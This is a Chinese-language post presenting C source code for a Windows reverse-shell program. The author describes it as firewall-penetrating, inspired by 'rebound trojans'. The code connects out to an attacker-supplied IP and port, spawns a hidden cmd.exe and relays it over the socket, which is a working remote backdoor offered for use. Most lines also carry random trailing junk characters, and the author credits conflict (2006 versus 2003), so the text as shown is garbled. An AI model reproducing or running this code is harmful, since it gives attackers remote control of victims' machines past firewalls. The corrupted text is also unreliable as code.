这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 du_TiI
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/* ============================== =DLVWz/<
Rebound port in Windows NT :Lh`Q"a
By wind,2006/7 ]~t4E'y)z
===============================*/ pGT?=/=*
#include i+4!nf{K
#include p8|u 0/;k
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#pragma comment(lib,"wsock32.lib") C~q&
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void OutputShell(); |N%#;7
SOCKET sClient; 1qN+AT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W_Eur,/`
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void main(int argc,char **argv) iVAAGZ>am
{ GQ])y
WSADATA stWsaData; 1<$z-y'
int nRet; ;)ji3 M
SOCKADDR_IN stSaiClient,stSaiServer; DWmViuZmL
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if(argc != 3) u3])_oj=
{ ~=i<O&nai
printf("Useage:\n\rRebound DestIP DestPort\n"); jPA^SxM
return; U^Ulj/%6
} `2PvE4]%p
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WSAStartup(MAKEWORD(2,2),&stWsaData); :~4M9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3.E3}Jz`
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stSaiClient.sin_family = AF_INET; 4elA<<
stSaiClient.sin_port = htons(0); z=pGu_`2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JH`oa1b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wgFAPZr
{ 29kR7[k
printf("Bind Socket Failed!\n"); w3Z;&sFd
return; P{%R*hb]
} )9s
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stSaiServer.sin_family = AF_INET; ,l7',@6Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f,0,:)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i;I!Jc_b'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M~LYq
{ }KFM8CbS
printf("Connect Error!"); g ^ 4<ve
return; +xn59V
} >NjgLJh
OutputShell(); 3w$Ib}7
} 5KRI}f
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void OutputShell() hYY-Eq4TC
{ U8GvUysB!
char szBuff[1024]; !7y:|k,ac
SECURITY_ATTRIBUTES stSecurityAttributes; gSt'<v
OSVERSIONINFO stOsversionInfo; X].Igb)2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7kq6VS;p
STARTUPINFO stStartupInfo; [&K"OQ^\2h
char *szShell; N={0A
PROCESS_INFORMATION stProcessInformation; kJK:1;CM?.
unsigned long lBytesRead; ZDTp/5=?K/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .$N8cYu0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p}d+L{"V
stSecurityAttributes.lpSecurityDescriptor = 0; R/@n+tbe
stSecurityAttributes.bInheritHandle = TRUE; yR4++yk
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B(qwTz 51
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yYn7y1B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c'&\[b(m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #B&%Y6E5
stStartupInfo.wShowWindow = SW_HIDE; E0aJ~A(Hv
stStartupInfo.hStdInput = hReadPipe; v%!'vhf_K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Hwiftx
#!R =h|
GetVersionEx(&stOsversionInfo); 3iBUIv
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switch(stOsversionInfo.dwPlatformId) Lu9`(+
{ zIy&gOX
case 1: Xn*>qm
szShell = "command.com"; 8Y&_X0T|
break; "d
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default: pu,|_N[xq8
szShell = "cmd.exe"; uL9O_a;!
break; b_>x;5k
} u]jvXPE6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1CA%nqlng
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send(sClient,szMsg,77,0); 1}"Prx-
while(1) Bl/Z _@
{ ( Qj;B)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /j;HM[
if(lBytesRead) ]/c!;z
{ #v}pn2g%>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c);vl%
send(sClient,szBuff,lBytesRead,0); V6uh'2
} L#Rj~&U
else 84f^==Y
{ R&FO-{S
lBytesRead=recv(sClient,szBuff,1024,0); ` <IaQY
if(lBytesRead<=0) break; 5"2pU{xmK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '-M9v3itC
} &"mWi-Mpl
} ~R
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return; "eZ~]m}L0
}